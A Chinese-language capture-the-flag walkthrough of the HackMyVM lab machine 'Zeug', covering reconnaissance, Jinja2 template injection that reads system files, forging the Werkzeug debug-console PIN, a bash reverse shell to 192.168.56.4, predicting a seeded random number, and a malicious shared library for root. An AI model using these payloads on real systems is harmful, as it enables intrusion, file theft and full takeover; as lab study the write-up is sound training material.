<h1>Zeug.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Zeug">https://hackmyvm.eu/machines/machine.php?vm=Zeug</a>
</blockquote>
Notes：Enjoy it, you can do it :D
该靶机有和<code>Leet</code> （<a href="https://hackmyvm.eu/machines/machine.php?vm=Leet%EF%BC%89%E4%B8%80%E6%A0%B7%E7%9A%84%E6%93%8D%E4%BD%9C%EF%BC%8C%E7%88%86%E7%A0%B4">https://hackmyvm.eu/machines/machine.php?vm=Leet）一样的操作，爆破</a> PIN 值，所以一块做了。
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Zeug nmap -sP 192.168.56.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 03:59 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00062s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00042s latency).
MAC Address: 08:00:27:4D:B4:0B (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.48
Host is up (0.00048s latency).
MAC Address: 08:00:27:FE:97:B0 (Oracle VirtualBox virtual NIC)
</code></pre>
<pre><code class="hljs language-bash">➜ Zeug nmap -sT -min-rate 10000 -p- 192.168.56.48 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 04:00 EDT
Nmap scan report for 192.168.56.48
Host is up (0.00052s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
5000/tcp open upnp
MAC Address: 08:00:27:FE:97:B0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.73 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Zeug nmap -sT -A -T4 -O -p 21,5000 192.168.56.48 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 04:00 EDT
Nmap scan report for 192.168.56.48
Host is up (0.00045s latency). 
 
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 109 Jan 06 2024 README.txt
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:192.168.56.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status 
5000/tcp open upnp? 
| fingerprint-strings: 
| GetRequest: 
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.11.2 
| Date: Tue, 22 Apr 2025 08:01:06 GMT 
| Content-Type: text/html; charset=utf-8 .....
Running: Linux 4.X|5.X 
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 
OS details: Linux 4.15 - 5.8 
Network Distance: 1 hop 
 
TRACEROUTE 
HOP RTT ADDRESS 
1 0.45 ms 192.168.56.48 
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 101.59 seconds
</code></pre>
看样子<code>FTP</code>运行匿名访问，并且<code>5000</code>端口是<code>Werkzeug</code>
<h2>FTP</h2>
里面只有一个文件<code>README.txt</code>
<pre><code class="hljs language-bash">➜ Zeug cat README.txt 
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
</code></pre>
<pre><code class="hljs language-bash">嗨，Cosette，不要忘记禁用 Web 应用程序中的调试模式，我们不希望出现安全漏洞。
</code></pre>
也就是告诉我们<code>Werkzeug</code> 开启了调试模式。
<h2>Web 渗透</h2>
访问主页
<img src="/post-images/HackMyVMZeug/image.png" alt="image.png">
是一个文件上传点，先测试一下。
<h3>SSTI</h3>
因为提示的是 Rendering HTML templates，只能上传<code>HTML</code>文件，并且是使用 <code>flask</code> 搭建的，所以尝试了下 <code>{{7*7}}</code>
结果显示存在模板注入
<img src="/post-images/HackMyVMZeug/image1.png" alt="image.png">
使用 <code>curl</code> 实现
<pre><code class="hljs language-bash">➜ Zeug curl -X POST '192.168.56.48:5000' -d $'------geckoformboundary8c6d91c92627c3d7be91b3ccbedbbfde\nContent-Disposition: form-data; name="file"; filename="index.html"\n\n{{7*7}}\n------geckoformboundary8c6d91c92627c3d7be91b3ccbedbbfde--' -H 'Content-Type: multipart/form-data; boundary=----geckoformboundary8c6d91c92627c3d7be91b3ccbedbbfde'
</code></pre>
<img src="/post-images/HackMyVMZeug/image2.png" alt="image.png">
<code>SSTImap</code> 爆破无果，还得手动
手动测试后是 <code>jinja2</code>
<pre><code class="hljs language-bash">{{7*'7'}} # 77777
</code></pre>
在 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md</a> 中随便找找 <code>payloads</code> 最后文件读取的可以直接使用
<pre><code class="hljs language-bash">{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
</code></pre>
<h3>Werkzeug PIN Bypass</h3>
<code>/console</code> 就是 <code>Werkzeug</code> 了，需要 PIN 码，并且我们可以任意文件读取
链接：<a href="https://github.com/wdahlenburg/werkzeug-debug-console-bypass">https://github.com/wdahlenburg/werkzeug-debug-console-bypass</a>
<blockquote>
Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. The debug console will lock after 10 invalid attempts which requires the server to be restarted for another 10 guesses.
</blockquote>
<blockquote>
Werkzeug 有一个默认需要 pin 的调试控制台。可以使用 LFI 漏洞绕过此问题，或将其用作本地权限提升向量。调试控制台将在 10 次无效尝试后锁定，这需要重新启动服务器以再进行 10 次猜测。
</blockquote>
<ul>
<li>根据文档，我们要得到：<code>username</code> ，<code>Flask</code> ，获取服务器托管的接口的 <code>Mac</code> 地址，Machine_id</li>
</ul>
<ol>
<li>
<code>username</code>：<code>www-data</code>或者<code>Cosette</code> （<code>README</code>中得到）
</li>
<li>
<code>Flask</code> 的正确路径：在错误中能看到：<code>/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py</code>
</li>
<li>
获取服务器托管的接口的 <code>Mac</code> 地址：也就是网卡的物理地址
现在需要获取网卡的<code>MAC</code>地址，因为靶机系统是<code>Debian</code> ，所以配置文件在<code>/etc/network/interfaces</code>
<pre><code class="hljs language-bash">{{ get_flashed_messages.__globals__.__builtins__.open("/etc/network/interfaces").read() }}
</code></pre>
有三张网卡
<pre><code class="hljs language-bash"># This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug enp0s3
iface enp0s3 inet dhcp

allow-hotplug ens33
iface ens33 inet dhcp

allow-hotplug enp0s8
iface enp0s8 inet dhcp
</code></pre>
读取网卡的 <code>MAC</code> ，这里只能读到<code>enp0s3</code>的
<pre><code class="hljs language-bash">{{ get_flashed_messages.__globals__.__builtins__.open("/sys/class/net/enp0s3/address").read() }}
08:00:27:fe:97:b0
</code></pre>
转换为<code>10</code>进制
<pre><code class="hljs language-bash">>>> "".join('08:00:27:fe:97:b0'.split(":"))
'080027fe97b0'
>>> print(0x080027fe97b0)
8796764018608
</code></pre>
</li>
<li>
Machine_id
<pre><code class="hljs language-bash">{{ get_flashed_messages.__globals__.__builtins__.open("/etc/machine-id").read() }}
48329e233f524ec291cce7479927890b
</code></pre>
<pre><code class="hljs language-bash">{{ get_flashed_messages.__globals__.__builtins__.open("/proc/sys/kernel/random/boot_id").read() }}
15ca1b89-3fc2-4e10-808d-ffb4abea4bdc
</code></pre>
<pre><code class="hljs language-bash">{{ get_flashed_messages.__globals__.__builtins__.open("/proc/self/cgroup").read() }}
0::/system.slice/zeug-app.service
</code></pre>
<pre><code class="hljs language-bash">echo "48329e233f524ec291cce7479927890b" > machine-id 
echo "15ca1b89-3fc2-4e10-808d-ffb4abea4bdc" > boot_id 
echo "0::/system.slice/zeug-app.service" > cgroup 
</code></pre>
<pre><code class="hljs language-bash">machine_id = b""
for filename in "machine-id", "boot_id":
 try:
 with open(filename, "rb") as f:
 value = f.readline().strip()
 except OSError:
 continue

 if value:
 machine_id += value
 break
try:
 with open("cgroup", "rb") as f:
 machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
 pass

print(machine_id)
</code></pre>
<pre><code class="hljs language-bash">python getID.py 
b'48329e233f524ec291cce7479927890bzeug-app.service'
</code></pre>
</li>
<li>
通过链接中的脚本获得 <code>PIN</code>
<pre><code class="hljs language-bash">python werkzeug-pin-bypass.py 
Pin: 690-793-473
</code></pre>
</li>
</ol>
<h3>Werkzeug console 利用</h3>
输入 PIN 后，可以进行反弹 <code>shell</code> 了
<pre><code class="hljs language-bash">import os;os.system("/bin/bash -c 'bash -i >&#x26; /dev/tcp/192.168.56.4/1234 0>&#x26;1'")
</code></pre>
<pre><code class="hljs language-bash">➜ Zeug nc -lvp 1234
listening on [any] 1234 ...
192.168.56.48: inverse host lookup failed: Unknown host
connect to [192.168.56.4] from (UNKNOWN) [192.168.56.48] 44856
bash: cannot set terminal process group (471): Inappropriate ioctl for device
bash: no job control in this shell
cosette@zeug:~/zeug$ 
</code></pre>
<h2>提权 - to exia</h2>
查看权限
<pre><code class="hljs language-bash">cosette@zeug:~$ sudo -l
sudo -l
Matching Defaults entries for cosette on zeug:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
 use_pty

User cosette may run the following commands on zeug:
 (exia) NOPASSWD: /home/exia/seed
</code></pre>
可以以<code>exia</code>权限执行<code>/home/exia/seed</code>
<pre><code class="hljs language-bash">sudo -u exia /home/exia/seed
</code></pre>
运行试试
<pre><code class="hljs language-bash">cosette@zeug:~$ sudo -u exia /home/exia/seed
sudo -u exia /home/exia/seed
1
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: Wrong.
</code></pre>
<h3>伪随机脚本</h3>
加目录下还有<code>seed_bak</code> 拿出来分析分析，简单的伪随机数生成脚本
<img src="/post-images/HackMyVMZeug/image3.png" alt="image.png">
写一个脚本计算出来
<pre><code class="hljs language-bash">#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>

int main()
{
 int v5;
 srand(1u);
 v5 = rand();
 int v6 = -559038737;
 printf("%d\n", v5 ^ v6);
 return 0;
}
</code></pre>
<pre><code class="hljs language-bash">-1255736440
</code></pre>
<pre><code class="hljs language-bash">cosette@zeug:~$ sudo -u exia /home/exia/seed
sudo -u exia /home/exia/seed
-1255736440

id
uid=1002(exia) gid=1002(exia) groups=1002(exia)
</code></pre>
<h2>提权 - to root</h2>
<h3>动态链接库提权</h3>
<code>exia</code> 家目录得到 <code>user.txt</code>
<pre><code class="hljs language-bash">cat user.txt
HMYVM{exia_1XZ2GUy6gwSRwXwFUKEkZC6cT}
</code></pre>
查看权限
<pre><code class="hljs language-bash">sudo -l
Matching Defaults entries for exia on zeug:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
 use_pty

User exia may run the following commands on zeug:
 (root) NOPASSWD: /usr/bin/zeug
</code></pre>
<pre><code class="hljs language-bash">exia@zeug:/usr/bin$ sudo zeug
Error opening file
exia@zeug:/usr/bin$ sudo zeug /etc/passwd
Error opening file
</code></pre>
拉出来分析
<pre><code class="hljs language-bash">int __fastcall main(int argc, const char **argv, const char **envp)
{
 if ( dlopen("/home/exia/exia.so", 2) )
 return 0;
 fwrite("Error opening file\n", 1uLL, 0x13uLL, _bss_start);
 return 1;
}
</code></pre>
这段代码的主要目的是尝试加载一个共享库（<code>exia.so</code>），如果加载失败，则通过 <code>fwrite</code> 输出错误信息到某个内存地址，并返回 <code>1</code>。它可以通过 <code>dlerror()</code> 提供更详细的错误信息来改善错误处理。
并且动态链接库<code>exia.so</code>是我们可以控制的，直接编写一个恶意链接库即可
<pre><code class="hljs language-bash">#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

void __attribute__((constructor)) setup() {
 // 提权操作，设置用户ID为0（root）
 if (setuid(0) == -1) {
 perror("setuid failed");
 exit(1);
 }

 // 执行提权后，显示成功信息
 printf("Privilege Escalation Successful\n");
 system("/bin/bash"); // 启动一个 shell，可以使用该 shell 提升权限
}
</code></pre>
<pre><code class="hljs language-bash">gcc -shared -fPIC -o /home/exia/exia.so exia.c
</code></pre>
<pre><code class="hljs language-bash">exia@zeug:~$ sudo zeug
Privilege Escalation Successful
</code></pre>
<pre><code class="hljs language-bash">root@zeug:~# cat root.txt 
HMYVM{root_Ut9RX5o7iZVKXjrOgcGW3fxBq}
</code></pre>

HackMyVM - Zeug

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion